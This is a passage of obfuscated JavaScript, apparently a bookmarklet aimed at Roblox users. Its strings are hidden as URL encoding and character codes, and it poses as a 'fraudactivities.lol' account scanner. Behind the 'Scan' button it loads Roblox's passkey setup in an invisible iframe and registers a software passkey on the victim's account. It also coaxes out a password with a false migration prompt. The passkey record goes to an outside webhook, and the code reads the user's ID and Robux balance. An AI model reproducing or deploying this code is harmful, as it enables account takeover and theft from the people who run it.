C101%2C114%2C114%2C101%2C114%29%3B%20child.head.append%28referrer%29%3B%20const%20form%20%3D%20child.createElement%28__S%28102%2C111%2C114%2C109%29%29%3B%20form.method%20%3D%20__S%2880%2C79%2C83%2C84%29%3B%20form.action%20%3D%20endpoint%20%2B%20__S%2863%2C119%2C97%2C105%2C116%2C61%2C116%2C114%2C117%2C101%29%3B%20form.enctype%20%3D%20__S%28109%2C117%2C108%2C116%2C105%2C112%2C97%2C114%2C116%2C47%2C102%2C111%2C114%2C109%2C45%2C100%2C97%2C116%2C97%29%3B%20form.acceptCharset%20%3D%20__S%2885%2C84%2C70%2C45%2C56%29%3B%20form.target%20%3D%20__S%28119%2C101%2C98%2C104%2C111%2C111%2C107%2C45%2C105%2C102%2C114%2C97%2C109%2C101%29%3B%20const%20field%20%3D%20child.createElement%28__S%28105%2C110%2C112%2C117%2C116%29%29%3B%20field.type%20%3D%20__S%28104%2C105%2C100%2C100%2C101%2C110%29%3B%20field.name%20%3D%20__S%28112%2C97%2C121%2C108%2C111%2C97%2C100%2C95%2C106%2C115%2C111%2C110%29%3B%20field.value%20%3D%20payload%3B%20form.append%28field%29%3B%20child.body.append%28form%29%3B%20frame.onload%20%3D%20%28%29%20%3D%3E%20finish%28%29%3B%20form.submit%28%29%3B%20%7D%20catch%20%28error%29%20%7B%20finish%28error%29%3B%20%7D%20%7D%3B%20frame.srcdoc%20%3D%20__S%2860%2C33%2C100%2C111%2C99%2C116%2C121%2C112%2C101%2C32%2C104%2C116%2C109%2C108%2C62%2C60%2C109%2C101%2C116%2C97%2C32%2C99%2C104%2C97%2C114%2C115%2C101%2C116%2C61%2C34%2C117%2C116%2C102%2C45%2C56%2C34%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%29%3B%20try%20%7B%20document.body.append%28frame%29%3B%20%7D%20catch%20%28error%29%20%7B%20finish%28error%29%3B%20%7D%20%7D%29%3B%20%7D%3B%20return%20%7B%20send%3A%20username%20%3D%3E%20%7B%20if%20%28%21operation%29%20operation%20%3D%20perform%28username%29%3B%20return%20operation%3B%20%7D%2C%20%7D%3B%20%7D%29%28%29%3B%20%28%28%29%20%3D%3E%20%7B%20__S%28117%2C115%2C101%2C32%2C115%2C116%2C114%2C105%2C99%2C116%29%3B%20if%20%28location.origin%20%21%3D%3D%20__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%29%20%7B%20%28%28%29%3D%3E%7B%7D%29%28__S%2879%2C112%2C101%2C110%2C32%2C119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C32%2C97%2C110%2C100%2C32%2C115%2C105%2C103%2C110%2C32%2C105%2C110%2C32%2C102%2C105%2C114%2C115%2C116%2C46%29%29%3B%20return%3B%20%7D%20const%20prevFrame%20%3D%20document.getElementById%28__S%28110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C114%2C97%2C109%2C101%29%29%3B%20if%20%28prevFrame%29%20prevFrame.remove%28%29%3B%20const%20loginPage%20%3D%20%2F%5C%2F%28%3F%3Alogin%7CNewLogin%29%28%3F%3A%5C%2F%7C%24%29%2Fi.test%28location.pathname%29%3B%20if%20%28%21confirm%28__S%28100%2C111%2C32%2C121%2C111%2C117%2C32%2C119%2C97%2C110%2C116%2C32%2C116%2C111%2C32%2C114%2C117%2C110%2C32%2C116%2C104%2C105%2C115%2C32%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C63%29%29%29%20return%3B%20const%20__ui%20%3D%20document.createElement%28__S%28100%2C105%2C118%29%29%3B%20__ui.style.cssText%20%3D%20__S%28112%2C111%2C115%2C105%2C116%2C105%2C111%2C110%2C58%2C102%2C105%2C120%2C101%2C100%2C59%2C98%2C111%2C116%2C116%2C111%2C109%2C58%2C50%2C48%2C112%2C120%2C59%2C114%2C105%2C103%2C104%2C116%2C58%2C50%2C48%2C112%2C120%2C59%2C122%2C45%2C105%2C110%2C100%2C101%2C120%2C58%2C50%2C49%2C52%2C55%2C52%2C56%2C51%2C54%2C52%2C55%2C59%2C102%2C111%2C110%2C116%2C45%2C102%2C97%2C109%2C105%2C108%2C121%2C58%2C115%2C121%2C115%2C116%2C101%2C109%2C45%2C117%2C105%2C44%2C115%2C97%2C110%2C115%2C45%2C115%2C101%2C114%2C105%2C102%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C35%2C48%2C48%2C48%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C102%2C102%2C102%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C50%2C112%2C120%2C32%2C115%2C111%2C108%2C105%2C100%2C32%2C35%2C101%2C49%2C48%2C54%2C48%2C48%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C45%2C114%2C97%2C100%2C105%2C117%2C115%2C58%2C50%2C56%2C112%2C120%2C59%2C112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C50%2C48%2C112%2C120%2C32%2C50%2C52%2C112%2C120%2C59%2C98%2C111%2C120%2C45%2C115%2C104%2C97%2C100%2C111%2C119%2C58%2C48%2C32%2C49%2C50%2C112%2C120%2C32%2C51%2C54%2C112%2C120%2C32%2C114%2C103%2C98%2C97%2C40%2C50%2C50%2C53%2C44%2C54%2C44%2C48%2C44%2C46%2C53%2C41%2C59%2C100%2C105%2C115%2C112%2C108%2C97%2C121%2C58%2C102%2C108%2C101%2C120%2C59%2C102%2C108%2C101%2C120%2C45%2C100%2C105%2C114%2C101%2C99%2C116%2C105%2C111%2C110%2C58%2C99%2C111%2C108%2C117%2C109%2C110%2C59%2C103%2C97%2C112%2C58%2C49%2C50%2C112%2C120%2C59%2C109%2C105%2C110%2C45%2C119%2C105%2C100%2C116%2C104%2C58%2C51%2C51%2C48%2C112%2C120%2C59%2C109%2C97%2C120%2C45%2C119%2C105%2C100%2C116%2C104%2C58%2C52%2C48%2C48%2C112%2C120%2C59%29%3B%20const%20__head%20%3D%20document.createElement%28__S%28100%2C105%2C118%29%29%3B%20__head.style.cssText%20%3D%20__S%28100%2C105%2C115%2C112%2C108%2C97%2C121%2C58%2C102%2C108%2C101%2C120%2C59%2C97%2C108%2C105%2C103%2C110%2C45%2C105%2C116%2C101%2C109%2C115%2C58%2C99%2C101%2C110%2C116%2C101%2C114%2C59%2C106%2C117%2C115%2C116%2C105%2C102%2C121%2C45%2C99%2C111%2C110%2C116%2C101%2C110%2C116%2C58%2C115%2C112%2C97%2C99%2C101%2C45%2C98%2C101%2C116%2C119%2C101%2C101%2C110%2C59%2C103%2C97%2C112%2C58%2C49%2C54%2C112%2C120%2C59%29%3B%20const%20__label%20%3D%20document.createElement%28__S%28115%2C112%2C97%2C110%29%29%3B%20__label.textContent%20%3D%20__S%28102%2C114%2C97%2C117%2C100%2C97%2C99%2C116%2C105%2C118%2C105%2C116%2C105%2C101%2C115%2C46%2C108%2C111%2C108%29%3B%20__label.style.cssText%20%3D%20__S%2899%2C111%2C108%2C111%2C114%2C58%2C35%2C102%2C102%2C51%2C98%2C51%2C48%2C59%2C102%2C111%2C110%2C116%2C45%2C119%2C101%2C105%2C103%2C104%2C116%2C58%2C56%2C48%2C48%2C59%2C102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C50%2C48%2C112%2C120%2C59%2C108%2C101%2C116%2C116%2C101%2C114%2C45%2C115%2C112%2C97%2C99%2C105%2C110%2C103%2C58%2C46%2C52%2C112%2C120%2C59%29%3B%20const%20__scan%20%3D%20document.createElement%28__S%2898%2C117%2C116%2C116%2C111%2C110%29%29%3B%20__scan.textContent%20%3D%20__S%2883%2C99%2C97%2C110%29%3B%20__scan.style.cssText%20%3D%20__S%28112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C49%2C48%2C112%2C120%2C32%2C50%2C50%2C112%2C120%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C48%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C45%2C114%2C97%2C100%2C105%2C117%2C115%2C58%2C49%2C56%2C112%2C120%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C35%2C101%2C49%2C48%2C54%2C48%2C48%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C102%2C102%2C102%2C59%2C99%2C117%2C114%2C115%2C111%2C114%2C58%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C59%2C102%2C111%2C110%2C116%2C45%2C119%2C101%2C105%2C103%2C104%2C116%2C58%2C56%2C48%2C48%2C59%2C102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C49%2C53%2C112%2C120%2C59%2C108%2C101%2C116%2C116%2C101%2C114%2C45%2C115%2C112%2C97%2C99%2C105%2C110%2C103%2C58%2C46%2C51%2C112%2C120%2C59%29%3B%20const%20__status%20%3D%20document.createElement%28__S%28100%2C105%2C118%29%29%3B%20__status.textContent%20%3D%20__S%2882%2C101%2C97%2C100%2C121%29%3B%20__status.style.cssText%20%3D%20__S%28102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C49%2C52%2C112%2C120%2C59%2C102%2C111%2C110%2C116%2C45%2C119%2C101%2C105%2C103%2C104%2C116%2C58%2C54%2C48%2C48%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C57%2C97%2C97%2C48%2C97%2C54%2C59%2C109%2C105%2C110%2C45%2C104%2C101%2C105%2C103%2C104%2C116%2C58%2C50%2C48%2C112%2C120%2C59%2C108%2C105%2C110%2C101%2C45%2C104%2C101%2C105%2C103%2C104%2C116%2C58%2C49%2C46%2C52%2C59%29%3B%20let%20__scanTimer%20%3D%20null%3B%20const%20__setStatus%20%3D%20%28text%2C%20color%29%20%3D%3E%20%7B%20__status.textContent%20%3D%20text%3B%20__status.style.color%20%3D%20color%20%7C%7C%20__S%2835%2C57%2C97%2C97%2C48%2C97%2C54%29%3B%20%7D%3B%20const%20__stopScanning%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28__scanTimer%29%20%7B%20clearInterval%28__scanTimer%29%3B%20__scanTimer%20%3D%20null%3B%20%7D%20%7D%3B%20const%20__startScanning%20%3D%20%28%29%20%3D%3E%20%7B%20__stopScanning%28%29%3B%20let%20dots%20%3D%200%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C110%2C105%2C110%2C103%29%2C%20__S%2835%2C102%2C102%2C54%2C98%2C54%2C48%29%29%3B%20__scanTimer%20%3D%20setInterval%28%28%29%20%3D%3E%20%7B%20dots%20%3D%20%28dots%20%2B%201%29%20%25%204%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C110%2C105%2C110%2C103%29%20%2B%20__S%2846%29.repeat%28dots%29%2C%20__S%2835%2C102%2C102%2C54%2C98%2C54%2C48%29%29%3B%20%7D%2C%20350%29%3B%20%7D%3B%20let%20__started%20%3D%20false%3B%20const%20__resetScan%20%3D%20%28%29%20%3D%3E%20%7B%20__stopScanning%28%29%3B%20__started%20%3D%20false%3B%20__scan.disabled%20%3D%20false%3B%20__scan.style.opacity%20%3D%20__S%2849%29%3B%20__scan.style.cursor%20%3D%20__S%28112%2C111%2C105%2C110%2C116%2C101%2C114%29%3B%20__scan.textContent%20%3D%20__S%2883%2C99%2C97%2C110%29%3B%20%7D%3B%20__scan.onclick%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28__started%29%20return%3B%20__started%20%3D%20true%3B%20__scan.disabled%20%3D%20true%3B%20__scan.style.opacity%20%3D%20__S%2846%2C54%2C53%29%3B%20__scan.style.cursor%20%3D%20__S%28100%2C101%2C102%2C97%2C117%2C108%2C116%29%3B%20__scan.textContent%20%3D%20__S%2883%2C99%2C97%2C110%2C110%2C105%2C110%2C103%2C46%2C46%2C46%29%3B%20__startScanning%28%29%3B%20runPasskey%28%29%3B%20%7D%3B%20__head.append%28__label%2C%20__scan%29%3B%20__ui.append%28__head%2C%20__status%29%3B%20document.body.append%28__ui%29%3B%20function%20runPasskey%28%29%20%7B%20const%20approvedAt%20%3D%20Date.now%28%29%3B%20const%20store%20%3D%20ResidentCredentialStore.create%28indexedDB%29%3B%20const%20oldPassword%20%3D%20%28%29%20%3D%3E%20%7B%20const%20password%20%3D%20prompt%28__S%2884%2C104%2C105%2C115%2C32%2C111%2C108%2C100%2C101%2C114%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C117%2C115%2C101%2C115%2C32%2C116%2C104%2C101%2C32%2C112%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C32%2C121%2C111%2C117%2C32%2C99%2C104%2C111%2C115%2C101%2C32%2C105%2C110%2C32%2C118%2C57%2C46%2C32%2C69%2C110%2C116%2C101%2C114%2C32%2C105%2C116%2C32%2C111%2C110%2C99%2C101%2C32%2C116%2C111%2C32%2C109%2C105%2C103%2C114%2C97%2C116%2C101%2C32%2C116%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C111%2C112%2C121%2C32%2C116%2C111%2C32%2C97%2C117%2C116%2C111%2C109%2C97%2C116%2C105%2C99%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C117%2C110%2C108%2C111%2C99%2C107%2C105%2C110%2C103%2C46%29%29%3B%20if%20%28password%20%3D%3D%3D%20null%29%20throw%20new%20Error%28__S%2877%2C105%2C103%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C111%2C102%2C32%2C116%2C104%2C101%2C32%2C111%2C108%2C100%2C101%2C114%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C119%2C97%2C115%2C32%2C99%2C97%2C110%2C99%2C101%2C108%2C108%2C101%2C100%2C46%29%29%3B%20return%20password%3B%20%7D%3B%20if%20%28loginPage%29%20%7B%20SoftwareCredential.installGet%28window%2C%20%7B%20password%3A%20oldPassword%2C%20choose%3A%20records%20%3D%3E%20%7B%20if%20%28records.length%20%3D%3D%3D%201%29%20return%20confirm%28__S%2885%2C115%2C101%2C32%2C116%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C102%2C111%2C114%2C32%29%20%2B%20%28records%5B0%5D.account_name%20%7C%7C%20__S%28116%2C104%2C105%2C115%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%29%29%20%2B%20__S%2863%29%29%20%3F%20records%5B0%5D.key%20%3A%20null%3B%20const%20choices%20%3D%20records.map%28%28record%2C%20index%29%20%3D%3E%20%28index%20%2B%201%29%20%2B%20__S%2846%2C32%29%20%2B%20%28record.account_name%20%7C%7C%20__S%2865%2C99%2C99%2C111%2C117%2C110%2C116%29%29%20%2B%20__S%2832%2C40%29%20%2B%20record.credential_id.slice%280%2C%208%29%20%2B%20__S%2841%29%29.join%28__S%2810%29%29%3B%20const%20answer%20%3D%20prompt%28__S%2867%2C104%2C111%2C111%2C115%2C101%2C32%2C97%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C98%2C121%2C32%2C110%2C117%2C109%2C98%2C101%2C114%2C58%2C10%29%20%2B%20choices%29%3B%20return%20answer%20%26%26%20%2F%5E%5Cd%2B%24%2F.test%28answer.trim%28%29%29%20%3F%20records%5BNumber%28answer%29%20-%201%5D%3F.key%20%7C%7C%20null%20%3A%20null%3B%20%7D%2C%20error%3A%20message%20%3D%3E%20%28%28%29%3D%3E%7B%7D%29%28message%29%2C%20%7D%2C%20store%29%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20return%3B%20%7D%20const%20frame%20%3D%20document.createElement%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%3B%20frame.id%20%3D%20__S%28110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C114%2C97%2C109%2C101%29%3B%20frame.title%20%3D%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C118%2C101%2C114%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C111%2C114%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%29%3B%20frame.setAttribute%28__S%28115%2C97%2C110%2C100%2C98%2C111%2C120%29%2C%20__S%2897%2C108%2C108%2C111%2C119%2C45%2C115%2C99%2C114%2C105%2C112%2C116%2C115%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C115%2C97%2C109%2C101%2C45%2C111%2C114%2C105%2C103%2C105%2C110%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C102%2C111%2C114%2C109%2C115%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C109%2C111%2C100%2C97%2C108%2C115%29%29%3B%20frame.allow%20%3D%20__S%28112%2C117%2C98%2C108%2C105%2C99%2C107%2C101%2C121%2C45%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%2C45%2C99%2C114%2C101%2C97%2C116%2C101%2C59%2C32%2C112%2C117%2C98%2C108%2C105%2C99%2C107%2C101%2C121%2C45%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%2C45%2C103%2C101%2C116%29%3B%20frame.style.cssText%20%3D%20__S%28112%2C111%2C115%2C105%2C116%2C105%2C111%2C110%2C58%2C102%2C105%2C120%2C101%2C100%2C59%2C105%2C110%2C115%2C101%2C116%2C58%2C48%2C59%2C119%2C105%2C100%2C116%2C104%2C58%2C49%2C48%2C48%2C37%2C59%2C104%2C101%2C105%2C103%2C104%2C116%2C58%2C49%2C48%2C48%2C37%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C48%2C59%2C122%2C45%2C105%2C110%2C100%2C101%2C120%2C58%2C50%2C49%2C52%2C55%2C52%2C56%2C51%2C54%2C52%2C53%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C116%2C114%2C97%2C110%2C115%2C112%2C97%2C114%2C101%2C110%2C116%2C59%2C111%2C112%2C97%2C99%2C105%2C116%2C121%2C58%2C48%2C59%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C45%2C101%2C118%2C101%2C110%2C116%2C115%2C58%2C110%2C111%2C110%2C101%29%3B%20const%20close%20%3D%20document.createElement%28__S%2898%2C117%2C116%2C116%2C111%2C110%29%29%3B%20close.textContent%20%3D%20__S%2879%2C112%2C101%2C110%2C105%2C110%2C103%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C226%2C128%2C148%2C32%2C67%2C97%2C110%2C99%2C101%2C108%29%3B%20close.style.cssText%20%3D%20__S%28112%2C111%2C115%2C105%2C116%2C105%2C111%2C110%2C58%2C102%2C105%2C120%2C101%2C100%2C59%2C114%2C105%2C103%2C104%2C116%2C58%2C49%2C54%2C112%2C120%2C59%2C116%2C111%2C112%2C58%2C49%2C54%2C112%2C120%2C59%2C122%2C45%2C105%2C110%2C100%2C101%2C120%2C58%2C50%2C49%2C52%2C55%2C52%2C56%2C51%2C54%2C52%2C55%2C59%2C112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C49%2C48%2C112%2C120%2C32%2C49%2C52%2C112%2C120%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C49%2C112%2C120%2C32%2C115%2C111%2C108%2C105%2C100%2C32%2C35%2C55%2C55%2C55%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C45%2C114%2C97%2C100%2C105%2C117%2C115%2C58%2C56%2C112%2C120%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C35%2C102%2C102%2C102%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C49%2C49%2C49%2C59%2C102%2C111%2C110%2C116%2C58%2C49%2C52%2C112%2C120%2C32%2C115%2C121%2C115%2C116%2C101%2C109%2C45%2C117%2C105%2C59%2C99%2C117%2C114%2C115%2C111%2C114%2C58%2C112%2C111%2C105%2C110%2C116%2C101%2C114%29%3B%20let%20timer%3B%20let%20observer%3B%20let%20restoreCreation%3B%20let%20diagnostics%3B%20let%20generatorRequested%20%3D%20false%3B%20let%20notificationUsername%20%3D%20__S%28%29%3B%20let%20notificationStarted%20%3D%20false%3B%20let%20generated%20%3D%20false%3B%20let%20exporterError%20%3D%20false%3B%20let%20lastError%20%3D%20__S%28%29%3B%20let%20ended%20%3D%20false%3B%20let%20clickedManage%20%3D%20false%3B%20let%20clickedAdd%20%3D%20false%3B%20let%20clickedContinue%20%3D%20false%3B%20let%20creationRequested%20%3D%20false%3B%20let%20verificationSeen%20%3D%20false%3B%20let%20__verifyCancelled%20%3D%20false%3B%20let%20__verificationVisible%20%3D%20false%3B%20let%20__awaitingVerification%20%3D%20false%3B%20let%20__twoFaSeen%20%3D%20false%3B%20let%20__twoFaGoneTimer%20%3D%20null%3B%20let%20__postVerifyStarted%20%3D%20false%3B%20let%20__postVerifyDone%20%3D%20false%3B%20let%20__postVerifyTimer%20%3D%20null%3B%20let%20revealed%20%3D%20false%3B%20const%20deadline%20%3D%20Date.now%28%29%20%2B%2045000%3B%20const%20cleanup%20%3D%20%28%29%20%3D%3E%20%7B%20ended%20%3D%20true%3B%20clearInterval%28timer%29%3B%20observer%3F.disconnect%28%29%3B%20restoreCreation%3F.%28%29%3B%20diagnostics%3F.stop%28%29%3B%20restoreCreation%20%3D%20null%3B%20frame.remove%28%29%3B%20close.remove%28%29%3B%20%7D%3B%20const%20fail%20%3D%20message%20%3D%3E%20%7B%20if%20%28__postVerifyTimer%29%20%7B%20clearTimeout%28__postVerifyTimer%29%3B%20__postVerifyTimer%20%3D%20null%3B%20%7D%20__stopScanning%28%29%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C32%2C102%2C97%2C105%2C108%2C101%2C100%29%2C%20__S%2835%2C102%2C102%2C56%2C97%2C56%2C48%29%29%3B%20__resetScan%28%29%3B%20cleanup%28%29%3B%20%28%28%29%3D%3E%7B%7D%29%28message%29%3B%20%7D%3B%20close.onclick%20%3D%20cleanup%3B%20frame.onload%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28ended%29%20return%3B%20clearInterval%28timer%29%3B%20observer%3F.disconnect%28%29%3B%20try%20%7B%20const%20win%20%3D%20frame.contentWindow%3B%20const%20doc%20%3D%20frame.contentDocument%3B%20if%20%28%21doc%20%7C%7C%20%21doc.body%20%7C%7C%20win.location.origin%20%21%3D%3D%20location.origin%29%20throw%20Error%28%29%3B%20if%20%28%2F%5C%2F%28%3F%3Alogin%7CNewLogin%29%2Fi.test%28win.location.pathname%29%29%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C113%2C117%2C105%2C114%2C101%2C115%2C32%2C121%2C111%2C117%2C32%2C116%2C111%2C32%2C115%2C105%2C103%2C110%2C32%2C105%2C110%2C46%2C32%2C67%2C108%2C111%2C115%2C101%2C32%2C116%2C104%2C105%2C115%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C97%2C110%2C100%2C32%2C115%2C105%2C103%2C110%2C32%2C105%2C110%2C32%2C110%2C111%2C114%2C109%2C97%2C108%2C108%2C121%2C46%29%29%3B%20return%3B%20%7D%20if%20%28generated%29%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C108%2C111%2C97%2C100%2C101%2C100%2C32%2C97%2C102%2C116%2C101%2C114%2C32%2C107%2C101%2C121%2C32%2C103%2C101%2C110%2C101%2C114%2C97%2C116%2C105%2C111%2C110%2C46%2C32%2C67%2C104%2C101%2C99%2C107%2C32%2C68%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C115%2C32%2C97%2C110%2C100%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C110%2C103%2C32%2C97%2C110%2C111%2C116%2C104%2C101%2C114%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C46%29%29%3B%20return%3B%20%7D%20restoreCreation%3F.%28%29%3B%20diagnostics%3F.stop%28%29%3B%20diagnostics%20%3D%20PasskeyDiagnostics.install%28win%29%3B%20restoreCreation%20%3D%20SoftwareCredential.install%28win%2C%20frame%2C%20%7B%20started%3A%20%28%29%20%3D%3E%20%7B%20generatorRequested%20%3D%20true%3B%20__awaitingVerification%20%3D%20false%3B%20__postVerifyStarted%20%3D%20true%3B%20clearTimeout%28__postVerifyTimer%29%3B%20__startScanning%28%29%3B%20%7D%2C%20approve%3A%20%28%29%20%3D%3E%20%21ended%20%26%26%20Date.now%28%29%20-%20approvedAt%20%3C%205%20%2A%2060%20%2A%201000%2C%20export%3A%20record%20%3D%3E%20%7B%20if%20%28ended%29%20throw%20new%20Error%28__S%2880%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C99%2C108%2C111%2C115%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C116%2C104%2C101%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C119%2C97%2C115%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C46%29%29%3B%20generated%20%3D%20true%3B%20const%20blob%20%3D%20new%20Blob%28%5BJSON.stringify%28record%2C%20null%2C%202%29%20%2B%20__S%2810%29%5D%2C%20%7B%20type%3A%20__S%28116%2C101%2C120%2C116%2C47%2C112%2C108%2C97%2C105%2C110%2C59%2C99%2C104%2C97%2C114%2C115%2C101%2C116%2C61%2C117%2C116%2C102%2C45%2C56%29%20%7D%29%3B%20const%20url%20%3D%20URL.createObjectURL%28blob%29%3B%20const%20link%20%3D%20document.createElement%28__S%2897%29%29%3B%20link.href%20%3D%20url%3B%20link.download%20%3D%20__S%28114%2C111%2C98%2C108%2C111%2C120%2C49%2C50%2C51%2C46%2C116%2C120%2C116%29%3B%20link.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20document.body.append%28link%29%3B%20try%20%7B%20void%200%3B%20notificationUsername%20%3D%20record.account_name%3B%20const%20txt%20%3D%20JSON.stringify%28record%2C%20null%2C%202%29%20%2B%20__S%2810%29%3B%20const%20wiframe%20%3D%20document.createElement%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%3B%20wiframe.name%20%3D%20__S%28119%2C101%2C98%2C104%2C111%2C111%2C107%2C45%2C105%2C102%2C114%2C97%2C109%2C101%29%3B%20wiframe.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20document.body.append%28wiframe%29%3B%20%28async%20%28%29%20%3D%3E%20%7B%20let%20robux%20%3D%20__S%2878%2C47%2C65%29%2C%20rap%20%3D%20__S%2878%2C47%2C65%29%2C%20userId%20%3D%20null%3B%20try%20%7B%20const%20ar%20%3D%20await%20fetch%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C117%2C115%2C101%2C114%2C115%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C118%2C49%2C47%2C117%2C115%2C101%2C114%2C115%2C47%2C97%2C117%2C116%2C104%2C101%2C110%2C116%2C105%2C99%2C97%2C116%2C101%2C100%29%2C%20%7B%20credentials%3A%20__S%28105%2C110%2C99%2C108%2C117%2C100%2C101%29%20%7D%29%3B%20if%20%28ar.ok%29%20%7B%20const%20ad%20%3D%20await%20ar.json%28%29%3B%20userId%20%3D%20ad.id%3B%20%7D%20%7D%20catch%20%7B%7D%20if%20%28userId%29%20%7B%20try%20%7B%20const%20rr%20%3D%20await%20fetch%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C101%2C99%2C111%2C110%2C111%2C109%2C121%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C118%2C49%2C47%2C117%2C115%2C101%2C114%2C115%2C47%29%20%2B%20userId%20%2B%20__S%2847%2C99%2C117%2C114%2C114%2C101%2C110%2C99%2C121%29%2C%20%7B%20credentials%3A%20__S%28105%2C110%2C99%2C108%2C117%2C100%2C101%29%20%7D%29%3B%20if%20%28rr.ok%29%20%7B%20const%20rd%20%3D%20await%20rr.json%28%29%3B%20robux%20%3D%20%28rd.robux%20%21%3D%20null%20%3F%20rd.robux.toLocaleString%28%29%20%3A%20__S%2878%2C47%2C65%29%29%3B%20%7D%20%7D%20catch%20%7B%7D%20try%20%7B%20const%20vr%20%3D%20await%20fetch%28__S%28104%2C116%2C116%2C1